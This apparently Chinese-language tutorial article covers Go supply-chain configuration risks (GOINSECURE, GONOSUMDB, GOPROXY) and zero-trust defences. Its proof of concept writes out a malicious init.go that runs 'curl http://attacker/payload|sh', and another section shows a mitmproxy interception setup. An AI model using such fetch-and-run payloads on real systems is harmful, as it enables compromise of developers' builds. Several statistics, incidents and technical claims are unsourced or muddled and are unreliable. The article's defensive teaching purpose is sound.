第一章:Go配置安全红线的定义与行业影响
Go配置安全红线是指在Go应用部署与运行过程中,绝对不可违反的配置边界,一旦突破将直接导致敏感信息泄露、权限越权、远程代码执行或服务瘫痪等高危后果。它并非泛指所有最佳实践,而是由真实攻防案例、CVE漏洞复现及企业安全审计标准共同凝练出的强制性约束集合。
配置安全红线的核心特征
- 不可绕过性:如硬编码密钥、明文存储数据库密码等行为,即使短期“方便”,也属于必须根除的红线;
- 上下文强依赖性:同一配置在开发环境可能无害,在生产环境却构成严重风险(例如
GIN_MODE=debug); - 链式放大效应:单个配置失误常引发多层信任崩塌,如未校验
GOOS/GOARCH构建参数可能导致恶意交叉编译植入后门。
典型高危配置示例及修复方式
以下为生产环境中必须禁用的配置模式:
// ❌ 红线示例:硬编码凭证(禁止!)
func init() {
dbUser = "admin" // 明文用户名
dbPass = "p@ssw0rd!" // 明文密码 —— 直接触发CI/CD安全扫描失败
}
// ✅ 合规替代:通过环境变量+运行时校验加载
import "os"
func loadDBConfig() (user, pass string, err error) {
user = os.Getenv("DB_USER")
pass = os.Getenv("DB_PASS")
if user == "" || pass == "" {
return "", "", fmt.Errorf("missing required env vars: DB_USER or DB_PASS")
}
return user, pass, nil
}
行业影响量化表现
| 风险类型 | 发生率(2023年Go项目审计统计) | 平均修复成本 | 典型后果 |
|---|---|---|---|
| 明文密钥泄露 | 68% | $12,000 | AWS凭证被盗用,产生$200k账单 |
| Debug模式残留 | 41% | $5,500 | 路由/日志暴露内部API结构 |
| 不安全HTTP客户端 | 33% | $8,200 | 中间人劫持TLS降级请求 |
金融、政务与云原生平台已将Go配置安全红线纳入准入基线——未通过自动化配置合规检查(如使用 gosec + 自定义规则集)的二进制文件禁止进入K8s集群。一次因 GODEBUG=gcstoptheworld=1 参数被误用于生产环境导致的全站GC停顿事故,促使三家头部银行联合发布《Go生产配置白名单规范V2.1》。
第二章:GOINSECURE滥用导致的供应链攻击剖析
2.1 GOINSECURE机制原理与信任模型失效路径
GOINSECURE 是 Go 模块代理生态中绕过 TLS 验证的应急机制,其本质是将指定域名降级为 HTTP 协议通信,直接破坏 PKI 信任链起点。
信任链断裂点
- 仅跳过
crypto/tls握手校验,不绕过证书解析逻辑 - 仍执行
Subject Alternative Name解析,但忽略x509.Certificate.Verify()结果 - 代理响应头中的
Content-Type: application/vnd.goproxy.v1+json不受校验影响
典型失效路径
# 启动时启用不安全代理
export GOPROXY=https://insecure.example.com
export GOINSECURE="insecure.example.com"
此配置使
net/http.Transport对匹配域名禁用TLSClientConfig.VerifyPeerCertificate,但保留RoundTrip流程完整性。关键参数:InsecureSkipVerify=true仅作用于该域名的连接池,非全局生效。
| 域名 | 是否触发 GOINSECURE | TLS 验证状态 |
|---|---|---|
| insecure.example.com | ✅ | 完全跳过 |
| sub.insecure.example.com | ✅(若通配) | 依赖 go env -w GOINSECURE 配置格式 |
graph TD
A[go get github.com/user/repo] --> B{GOINSECURE 匹配?}
B -->|是| C[Transport.InsecureSkipVerify=true]
B -->|否| D[标准 TLS 握手+CA 验证]
C --> E[HTTP 请求明文传输]
E --> F[模块内容被中间人篡改风险]
2.2 真实案例复盘:某云原生组件因GOINSECURE绕过TLS验证被注入恶意模块
攻击链路还原
攻击者利用开发环境配置的 GOINSECURE="example.io",使 Go 模块下载跳过 TLS 证书校验,从被劫持的私有镜像仓库拉取篡改后的 github.com/example/monitoring 模块。
关键配置漏洞
# .env 文件中错误配置(生产环境严禁)
GOINSECURE="example.io"
GOPRIVATE="example.io"
该配置导致 go get 和 go build 在解析 example.io 域名时完全跳过证书链验证与域名匹配检查,为中间人注入提供通道。
恶意模块植入点
| 阶段 | 行为 | 风险等级 |
|---|---|---|
| 模块解析 | go mod download 信任非 HTTPS registry |
高 |
| 构建时加载 | init() 中执行远程 payload 下载 |
危急 |
防御流程
graph TD
A[go build] --> B{GOINSECURE 匹配 domain?}
B -->|Yes| C[跳过TLS验证]
B -->|No| D[执行完整X.509校验]
C --> E[HTTP响应解析 module.zip]
E --> F[执行恶意 init 函数]
根本原因在于将开发便利性配置误带入 CI/CD 流水线,且未启用 GOSUMDB=off 的配套审计机制。
2.3 实验复现:本地构建环境模拟不安全代理劫持全过程
为精准复现中间人劫持场景,我们基于 Docker 构建隔离网络环境:
# 启动透明代理(mitmproxy 监听 8080,强制 HTTP 流量重定向)
docker run -d --name mitmproxy \
-p 8080:8080 \
-v $(pwd)/cert:/home/mitmproxy/.mitmproxy \
--cap-add=NET_ADMIN \
mitmproxy/mitmproxy:latest \
mitmdump --mode transparent --showhost --set block_global=false
该命令启用透明代理模式,--mode transparent 允许拦截非显式配置代理的流量;--showhost 保留原始 Host 头,避免 TLS SNI 指纹异常;--cap-add=NET_ADMIN 是 iptables 规则注入所必需。
网络劫持路径
graph TD
A[客户端请求] --> B[iptables REDIRECT 到 8080]
B --> C[mitmproxy 解析 HTTP/HTTPS]
C --> D[篡改响应体注入恶意脚本]
D --> E[返回伪造响应]
关键配置验证项
- ✅ 客户端 DNS 解析直连目标 IP(绕过 CDN 干扰)
- ✅
iptables -t nat -L PREROUTING确认重定向规则生效 - ❌ 禁用系统证书信任链(模拟无证书校验终端)
| 组件 | 版本 | 作用 |
|---|---|---|
| mitmproxy | 10.4.0 | TLS 解密与响应篡改 |
| iptables | v1.8.9 | 透明流量劫持入口 |
| alpine:edge | 3.20 | 轻量级靶机环境基础镜像 |
2.4 静态扫描与CI/CD流水线中GOINSECURE检测规则设计
检测原理
GOINSECURE 环境变量若被硬编码或动态拼接,可能绕过 TLS 验证,导致 MITM 风险。静态扫描需识别其赋值上下文与作用域。
规则核心逻辑
// gosec rule snippet (custom)
if strings.Contains(line, "GOINSECURE") &&
(strings.Contains(line, "=") || regexp.MustCompile(`os\.Setenv\(.+GOINSECURE`).MatchString(line)) {
reportIssue(lineNum, "GOINSECURE set insecurely")
}
→ 该逻辑捕获直接赋值(如 os.Setenv("GOINSECURE", "example.com"))及硬编码字符串;lineNum 提供精准定位,便于 CI 中快速失败。
CI/CD 集成策略
- 在 build 前执行
gosec -fmt=json -out=report.json ./... - 解析 JSON 报告,提取
GOINSECURE类型告警 - 若命中,阻断 pipeline 并推送 Slack 告警
| 工具 | 检测粒度 | 是否支持上下文分析 |
|---|---|---|
| gosec | 行级 | ✅(函数/文件范围) |
| staticcheck | 符号级 | ❌ |
| custom AST | AST 节点级 | ✅(可追溯 env 使用链) |
流程协同
graph TD
A[代码提交] --> B[CI 触发静态扫描]
B --> C{GOINSECURE 规则匹配?}
C -->|是| D[标记高危并终止部署]
C -->|否| E[继续构建与测试]
2.5 替代方案实践:私有校验和数据库+可信代理网关部署指南
为规避公共校验和服务的单点依赖与隐私风险,构建本地化校验和治理体系成为关键演进路径。
架构概览
核心由两部分组成:
- 私有校验和数据库:持久化存储各软件包的 SHA256/SHA512 校验值及元数据(来源、签名时间、签发者);
- 可信代理网关:拦截所有外部包拉取请求,先查库验证再透传,拒绝未登记或不匹配项。
数据同步机制
采用双通道更新策略:
- 自动同步:通过 CI/CD 流水线在制品发布时自动写入校验和(含 GPG 签名);
- 手动审核:高敏感组件需人工复核后入库,确保来源可信。
示例:网关校验逻辑(Go 片段)
// 校验逻辑片段:从 Redis 缓存查校验和,再比对本地下载文件
hash, err := redisClient.Get(ctx, "pkg:nginx:1.25.3:sha256").Result()
if err != nil || hash == "" {
return errors.New("checksum not found in private DB")
}
expected, _ := hex.DecodeString(hash)
actual := sha256.Sum256(fileBytes).Sum(nil)
if !bytes.Equal(expected, actual[:]) {
return errors.New("integrity check failed")
}
逻辑说明:
redisClient.Get读取预置校验值(避免直连主库延迟),hex.DecodeString还原十六进制哈希,bytes.Equal常数时间比对防时序攻击。参数pkg:nginx:1.25.3:sha256为命名空间键,支持多版本共存。
组件职责对比表
| 组件 | 数据源 | 验证时机 | 失败行为 |
|---|---|---|---|
| 私有校验和数据库 | 内部CI/人工录入 | 网关启动时加载缓存 | 启动失败 |
| 可信代理网关 | Redis + PostgreSQL | 每次HTTP GET前 | 返回403并记录审计日志 |
部署流程(Mermaid)
graph TD
A[CI发布新包] --> B[生成SHA512+GPG签名]
B --> C[写入PostgreSQL主库]
C --> D[同步至Redis缓存]
E[客户端请求] --> F[网关拦截]
F --> G{校验和存在?}
G -->|是| H{哈希匹配?}
G -->|否| I[返回403]
H -->|是| J[透传原始响应]
H -->|否| I
第三章:GONOSUMDB配置引发的完整性危机
3.1 GONOSUMDB如何破坏Go Module校验链及后果推演
Go 模块校验链依赖 sum.golang.org 提供的不可篡改 checksum 数据库。当设置 GONOSUMDB=* 或匹配特定模块时,Go 工具链将跳过该模块的 checksum 验证。
校验链断裂机制
# 禁用 sumdb 后,go get 不再校验模块哈希
GONOSUMDB="github.com/badcorp/*" go get github.com/badcorp/pkg@v1.2.0
→ Go 直接接受未经签名的模块 ZIP 和 go.mod,绕过 sum.golang.org 的 h1: 哈希比对,使 MITM 或恶意镜像可注入篡改代码。
攻击面扩展路径
- ✅ 本地开发环境误设
GONOSUMDB=* - ✅ CI/CD 构建镜像预置该变量
- ❌
GOPROXY=direct+GONOSUMDB组合导致零校验
| 场景 | 校验行为 | 风险等级 |
|---|---|---|
| 默认配置 | 查询 sum.golang.org 并验证 h1 | 低 |
GONOSUMDB=example.com |
跳过 example.com 下所有模块校验 | 中 |
GONOSUMDB=* |
全局禁用校验 | 高 |
graph TD
A[go build] --> B{GONOSUMDB 匹配?}
B -->|Yes| C[跳过 sum.golang.org 请求]
B -->|No| D[获取并验证 h1:xxx]
C --> E[直接解压 module zip]
E --> F[执行未经完整性验证的代码]
3.2 某开源SDK项目因GONOSUMDB启用致依赖树被篡改事件深度溯源
事件触发点
GONOSUMDB=* 环境变量全局禁用校验,使 go mod download 跳过 checksum 验证,直接拉取未经签名的模块版本。
关键复现命令
# 在CI环境中误设(无意识覆盖全局策略)
export GONOSUMDB="*"
go mod tidy && go build -o sdk-cli .
逻辑分析:
GONOSUMDB="*"告诉 Go 工具链对所有模块跳过sum.golang.org校验;参数*为通配符,等价于完全关闭完整性保护,攻击者可向 proxy 注入恶意 commit 并替换v1.2.3对应的 zip 包。
依赖篡改路径
| 阶段 | 行为 | 风险等级 |
|---|---|---|
go get |
从代理服务器下载 module zip | ⚠️ 中 |
go mod download |
不校验 go.sum 中哈希值 |
🔴 高 |
go build |
编译含后门的 github.com/legit/sdk@v1.2.3 |
💀 严重 |
校验绕过流程
graph TD
A[go mod tidy] --> B{GONOSUMDB=*?}
B -->|Yes| C[跳过 sum.golang.org 查询]
C --> D[接受 proxy 返回任意 hash 的 module.zip]
D --> E[写入本地缓存并构建]
3.3 Go 1.21+ sum.golang.org增强机制下的合规迁移实操
Go 1.21 起,sum.golang.org 引入签名验证增强与离线校验缓存机制,显著提升模块校验可靠性。
校验流程升级要点
- 默认启用
GOSUMDB=sum.golang.org+insecure时自动回退至本地go.sum备份 - 新增
GOINSECURE白名单支持细粒度豁免 go mod download -json输出新增SumDBVerified字段
迁移关键步骤
# 启用严格校验(生产环境推荐)
export GOSUMDB="sum.golang.org"
go mod download
此命令触发实时签名查询与 Merkle tree 验证;
GOSUMDB值决定公钥源,空值将禁用远程校验。
校验状态对比表
| 场景 | Go 1.20 | Go 1.21+ |
|---|---|---|
无网络时 go build |
失败(无法访问 sum.golang.org) | 成功(复用本地 verified cache) |
| 伪造哈希篡改 | 仅比对 go.sum |
拒绝 + 报错 checksum mismatch (sum.golang.org signature invalid) |
graph TD
A[go build] --> B{GOSUMDB enabled?}
B -->|Yes| C[Query sum.golang.org + verify Merkle proof]
B -->|No| D[Use go.sum only]
C --> E[Cache signature + timestamp]
E --> F[Offline reuse within 24h]
第四章:GOPROXY与GOSUMDB协同失守的复合风险
4.1 GOPROXY非官方镜像源的中间人攻击面建模与PoC验证
攻击面建模核心要素
非官方 GOPROXY 通常缺失 TLS 证书校验、模块校验和(go.sum)动态验证及上游源同步完整性保障,形成三类可利用缺口:
- HTTP 协议明文传输(无强制 HTTPS 重定向)
- 缺乏
X-Go-Mod签名头或module@version.info签名验证 - 缓存污染后未触发
vulncheck或sum.golang.org回溯校验
PoC 验证流程(Mermaid)
graph TD
A[客户端 go get] --> B[请求 proxy.example.com]
B --> C{是否强制 HTTPS?}
C -->|否| D[HTTP 响应被劫持]
C -->|是| E[检查证书链与 CN 匹配]
D --> F[注入恶意 module.zip + 伪造 go.sum]
F --> G[go build 执行恶意 init()]
恶意响应构造示例
# 构造伪造的 module.zip 响应(含后门 init.go)
echo 'package main; import "os/exec"; func init(){ exec.Command("sh","-c","curl http://attacker/payload|sh").Run() }' > init.go
zip -r malicious.v1.0.0.zip init.go go.mod go.sum
该 payload 在 go build 时自动触发,绕过 go install 的模块签名检查——因非官方 proxy 默认不调用 sum.golang.org 进行哈希比对。
风险等级对比表
| 验证机制 | 官方 proxy | 非官方镜像 |
|---|---|---|
| TLS 证书强制校验 | ✅ | ❌(常见) |
go.sum 动态回源 |
✅ | ❌ |
| 模块元数据签名 | ✅ | ⚠️(极少数支持) |
4.2 GOSUMDB配置缺失或错误指向导致校验绕过的典型误配场景
Go 模块校验依赖 GOSUMDB 提供的透明日志服务。当该变量配置异常时,go get 或 go build 可能跳过 checksum 验证,引入恶意篡改的依赖。
常见误配形式
GOSUMDB=off:完全禁用校验,高危;GOSUMDB=sum.golang.org(但网络不可达)→ 回退至off行为;GOSUMDB=https://evil.example.com:指向恶意服务器,返回伪造哈希。
错误配置示例与分析
# ❌ 危险:显式关闭校验
export GOSUMDB=off
此设置使 go 工具链跳过所有模块哈希比对,任何 replace、require 均不受约束,攻击者可注入带后门的 fork 版本。
# ⚠️ 隐患:自建 sumdb 未同步或签名密钥不匹配
export GOSUMDB="https://my-sumdb.internal"
若内部服务未正确集成 Go 官方公钥(sum.golang.org 的 golang.org/x/mod/sumdb/note 签名机制),则校验逻辑失效,等效于 off。
安全配置对照表
| 配置值 | 是否启用校验 | 是否可验证签名 | 推荐度 |
|---|---|---|---|
sum.golang.org |
✅ | ✅(官方密钥) | ★★★★★ |
off |
❌ | — | ⚠️ 禁止生产使用 |
| 自定义 URL | ✅(仅当密钥可信且日志同步) | ✅(需严格验证 note 签名) | ★★☆☆☆ |
校验绕过流程示意
graph TD
A[go build] --> B{GOSUMDB 设置?}
B -->|off 或空| C[跳过 checksum 检查]
B -->|有效 URL| D[请求 sumdb 获取 .sum]
D --> E{签名验证通过?}
E -->|否| C
E -->|是| F[比对本地 go.sum]
4.3 多级代理链下sumdb响应劫持实验:从HTTP响应伪造到模块替换
实验拓扑与链路构造
在 GOPROXY=proxy1→proxy2→sum.golang.org 的三级代理链中,中间代理可篡改 GET /sumdb/sum.golang.org/lookup/github.com/example/lib@v1.2.3 响应。
HTTP响应伪造示例
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 64
github.com/example/lib v1.2.3 h1:fakehash1234567890abcdef01234567890abcdef0123=
该响应绕过Go客户端内置校验(仅校验行格式与哈希长度),但未签名,易被注入恶意哈希。
模块替换关键路径
- Go client 解析
sum.golang.org/lookup返回的 checksum 行 - 后续
go get直接信任该哈希,拉取对应 module zip - 若哈希指向篡改后的 commit(如植入后门的 fork),即完成供应链投毒
攻击可行性对比
| 阶段 | 是否需TLS终止 | 是否绕过Go校验 | 是否影响checksum验证 |
|---|---|---|---|
| 单级代理劫持 | 否(HTTP明文) | 是(格式合规) | 是(无签名校验) |
| 多级链中继篡改 | 否(仅转发修改) | 是 | 是 |
数据同步机制
graph TD
A[Client go get] --> B[proxy1]
B --> C[proxy2]
C --> D[sum.golang.org]
D -->|原始响应| C
C -->|篡改响应| B
B -->|注入哈希| A
4.4 企业级防护框架:基于go mod verify增强的自动化校验流水线搭建
在依赖供应链攻击频发的背景下,仅靠 go.sum 静态快照已不足以保障构建可重现性。企业需将 go mod verify 深度集成至 CI/CD 流水线,实现构建前的强制完整性断言。
核心校验策略
- 在
pre-build阶段执行go mod verify,失败则中止流水线 - 结合
GOSUMDB=off与自建校验服务(如sum.golang.org代理+审计日志) - 对私有模块启用
GOPRIVATE+ 签名验证钩子
流水线关键步骤
# .gitlab-ci.yml 片段(带注释)
- go mod download -x # 启用调试输出,追踪模块来源
- go mod verify # 校验所有依赖哈希一致性
- go list -m -f '{{.Path}} {{.Version}} {{.Sum}}' all | \
awk '$3 ~ /^h1:/ {print $1,$2}' > verified-deps.txt
此命令组合完成三件事:下载时记录模块元数据、执行标准校验、提取经验证的模块路径与版本,供后续审计溯源。
-x参数暴露网络请求与缓存路径,便于排查代理或镜像异常;go list -m输出结构化字段,awk筛选有效 checksum 行,确保仅记录通过h1:哈希校验的模块。
校验结果状态码映射
| 退出码 | 含义 | 处理建议 |
|---|---|---|
| 0 | 所有模块校验通过 | 继续构建 |
| 1 | 哈希不匹配或缺失 | 阻断并告警,触发人工介入 |
| 2 | 网络不可达或 sumdb 不可用 | 切换备用校验源重试 |
graph TD
A[CI 触发] --> B[拉取代码 & 解析 go.mod]
B --> C[go mod download -x]
C --> D[go mod verify]
D -->|成功| E[生成 verified-deps.txt]
D -->|失败| F[终止流水线 + 通知安全团队]
E --> G[编译 & 测试]
第五章:构建零信任Go开发环境的终极路径
安全启动:从最小化基础镜像开始
使用 gcr.io/distroless/static:nonroot 作为基础镜像,彻底剥离 shell、包管理器和非必要二进制文件。构建阶段通过多阶段 Dockerfile 实现编译与运行环境分离:
FROM golang:1.22-alpine AS builder
WORKDIR /app
COPY go.mod go.sum ./
RUN go mod download
COPY . .
RUN CGO_ENABLED=0 GOOS=linux go build -a -ldflags '-s -w' -o /bin/app .
FROM gcr.io/distroless/static:nonroot
COPY --from=builder /bin/app /bin/app
USER 65532:65532
ENTRYPOINT ["/bin/app"]
运行时身份验证:SPIFFE/SPIRE 集成
在 Kubernetes 集群中部署 SPIRE Agent 作为 DaemonSet,并为每个 Go 服务注入 Workload Attestation Bundle。服务启动时通过 spiffe://example.org/webapi 标识注册,客户端调用前强制校验 mTLS 双向证书链及 SPIFFE ID 签名有效性。
代码签名与完整性验证
采用 cosign 对 Go 构建产物进行签名,并将签名存入 OCI registry:
cosign sign --key cosign.key ghcr.io/myorg/webapi:v1.2.0
cosign verify --key cosign.pub ghcr.io/myorg/webapi:v1.2.0
CI 流水线中嵌入 notary 验证步骤,确保 go run 或 go install 前校验模块校验和与 sum.golang.org 公共透明日志一致性。
网络微隔离策略
基于 eBPF 实现细粒度网络控制,以下表格对比传统 NetworkPolicy 与 Cilium ClusterwideNetworkPolicy 的能力差异:
| 能力维度 | Kubernetes NetworkPolicy | Cilium ClusterwideNetworkPolicy |
|---|---|---|
| L7 HTTP 路由控制 | 不支持 | ✅ 支持 path/method/headers 匹配 |
| DNS 级别策略 | ❌ | ✅ 基于 FQDN 的出口白名单 |
| 策略审计日志 | 仅连接拒绝事件 | ✅ 完整请求/响应元数据记录 |
静态分析流水线集成
在 GitHub Actions 中启用 gosec + govulncheck 双引擎扫描,配置如下关键规则:
- 禁止硬编码凭证(
G101) - 强制 TLS 1.3+(
G402) - 拒绝
unsafe包导入(G103) - 检测
crypto/rand替代math/rand(G404)
运行时行为监控
部署 eBPF-based tracee 采集 Go runtime 事件,捕获 runtime.startTheWorld、gcStart、goroutineCreate 等关键 tracepoint,并关联进程签名哈希与 SPIFFE ID,实现“谁在何时以何种身份执行了什么操作”的全链路可追溯。
flowchart LR
A[Go Binary] --> B[SPIFFE Identity Injection]
B --> C[eBPF Tracee Hook]
C --> D[Runtime Event Stream]
D --> E[OpenTelemetry Collector]
E --> F[Jaeger Tracing UI]
F --> G[Policy Engine Decision]
开发者本地沙箱环境
利用 podman machine 创建隔离的 Linux VM,预装 podman, skopeo, cosign, spire-agent 和 cilium-cli。所有 go test 运行在 --cap-drop=ALL --security-opt=no-new-privileges 参数下,且 os.Getenv() 默认返回空字符串,强制使用 viper 从 SPIRE 注入的 Vault Sidecar 获取密钥。
持续授权模型
采用 Open Policy Agent(OPA)的 Rego 策略定义服务间调用权限,例如限制 payment-service 仅能向 ledger-service 发起 /v1/commit POST 请求,且请求头必须包含 X-Request-ID 和 X-SPIFFE-ID,否则返回 403 Forbidden 并记录审计事件到 Loki。
依赖供应链可信锚点
通过 go mod graph 生成依赖图谱,结合 deps.dev API 查询各模块 CVE 影响范围,并建立 .go-version-policy.yaml 文件声明允许的最小安全版本约束,例如:
rules:
- module: "golang.org/x/crypto"
min_version: "v0.19.0" # 修复 CVE-2023-45283
- module: "github.com/gorilla/mux"
deny_versions: ["<1.8.0"] 